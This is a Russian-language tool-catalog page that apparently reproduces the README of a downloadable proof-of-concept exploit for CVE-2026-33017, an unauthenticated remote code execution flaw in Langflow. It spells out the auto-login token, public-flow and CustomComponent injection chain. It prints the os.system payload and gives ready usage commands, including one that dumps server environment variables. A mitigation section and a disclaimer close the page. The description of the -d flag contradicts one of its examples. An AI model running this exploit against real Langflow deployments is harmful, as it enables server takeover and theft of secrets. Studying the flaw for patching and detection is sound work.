Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33017-langflow-rce — Proof-of-concept для CVE-2026-33017, демонстрирующий неаутентифицированное удалённое выполнение кода в уязвимых версиях Langflow через внедрение вредоносного кода CustomComponent. | Kitploit
Инструменты/GitHubGitHub/arensballiu/cve-2026-33017-langflow-rce
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubarensballiu/cve-2026-33017-langflow-rce

CVE-2026-33017-langflow-rce

Proof-of-concept для CVE-2026-33017, демонстрирующий неаутентифицированное удалённое выполнение кода в уязвимых версиях Langflow через внедрение вредоносного кода CustomComponent.

Репозиторий
14 ч 35 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33017 — Неаутентифицированное удалённое выполнение кода (RCE) в Langflow

Обзор

CVE ID: CVE-2026-33017
Затронутое ПО: Langflow Уязвимые версии: <= 1.8.2 Исправленная версия: >= 1.9.0 Критичность: Критическая
Автор: arensballiu
Дата: 2026

Описание

Langflow предоставляет публичную конечную точку сборки потока (/api/v1/build_public_tmp/{flowID}/flow), которая принимает произвольные блоки кода CustomComponent и выполняет их на стороне сервера без аутентификации. Внедрив вредоносную полезную нагрузку на Python в поле code узла CustomComponent, неаутентифицированный злоумышленник может выполнить произвольные команды операционной системы с привилегиями процесса сервера Langflow.

Цепочка атаки сначала использует конечную точку /api/v1/auto_login, которая выдаёт bearer-токен без запроса учётных данных, когда Langflow работает в конфигурации авто-входа по умолчанию. Затем она использует этот токен для создания временного публичного потока и запускает выполнение кода на стороне сервера через конечную точку сборки.

В комплект включён docker-файл, который создаёт экземпляр docker с установленным и запущенным langflow.

Затронутые конечные точки

Конечная точкаМетодТребуется аутентификацияНазначение
/api/v1/auto_loginGETНетПолучить bearer-токен (авто-вход должен быть включён)
/api/v1/flows/POSTДа (Bearer)Создать новый поток
/api/v1/build_public_tmp/{flowID}/flowPOSTНет (публичная)Запустить сборку — уязвимая точка выполнения
/api/v1/flows/{flowID}DELETEДа (Bearer)Удалить созданный поток

Доказательство концепции

Файл: CVE-2026-33017_POC.py

Требования

  • Python 3.x
  • Библиотека requests
  • Сетевой доступ к экземпляру Langflow, запущенному с включённым авто-входом
root@kitploit:~
pip install requests

Использование

root@kitploit:~
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]

Аргументы

ФлагПолная формаОбязательныйОписание
-u--urlДаБазовый URL экземпляра Langflow
-c--commandДаКоманда ОС для выполнения на сервере
-d--deleteНетУдалить созданный поток после эксплуатации

Примеры

Проверка выполнения кода:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

Получение переменных окружения сервера:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

Оставить поток активным после эксплуатации (пропустить очистку):

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

Ожидаемый вывод

root@kitploit:~
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!

Разбор полезной нагрузки

Эксплойт внедряет следующий фрагмент Python в поле code узла CustomComponent:

root@kitploit:~
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"
  • __import__('os').system(...) — динамически импортирует модуль os и выполняет предоставленную злоумышленником shell-команду на сервере.
  • Остальная часть определения класса — это валидный CustomComponent, необходимый для того, чтобы загрузчик компонентов Langflow не вызвал ошибку парсинга.
  • Поток создаётся как PUBLIC, и конечная точка сборки вызывается через его публичную конечную точку, что означает, что для запуска выполнения не требуется ни сессионный cookie, ни токен аутентификации.

Первопричина

Система CustomComponent в Langflow позволяет передавать произвольный код Python как часть определения потока. Конечная точка /api/v1/build_public_tmp/{flowID}/flow собирает и частично вычисляет этот код на стороне сервера, включая операторы уровня модуля, без песочницы или ограничения доступа к встроенным функциям Python, таким как __import__.

Краткое описание цепочки атаки

root@kitploit:~
1. GET /api/v1/auto_login          →  Получить Bearer-токен (учётные данные не нужны)
2. POST /api/v1/flows/             →  Создать PUBLIC-поток (Bearer-токен)
3. POST /api/v1/build_public_tmp/  →  Внедрить и выполнить вредоносный CustomComponent (без аутентификации)
4. DELETE /api/v1/flows/{id}       →  Очистка (необязательно)

Все четыре шага может выполнить анонимный злоумышленник против развёртывания Langflow по умолчанию.

Устранение

  • Обновите Langflow до версии 1.9.0 или выше.
  • Отключите авто-вход (LANGFLOW_AUTO_LOGIN=false) в любом развёртывании, доступном из интернета.

Отказ от ответственности

Данное доказательство концепции предоставлено исключительно в образовательных целях и для авторизованных исследований в области безопасности. Использование этого скрипта против систем без явного письменного разрешения является незаконным и неэтичным. Автор и участники не несут ответственности за неправомерное использование.

Скачать инструмент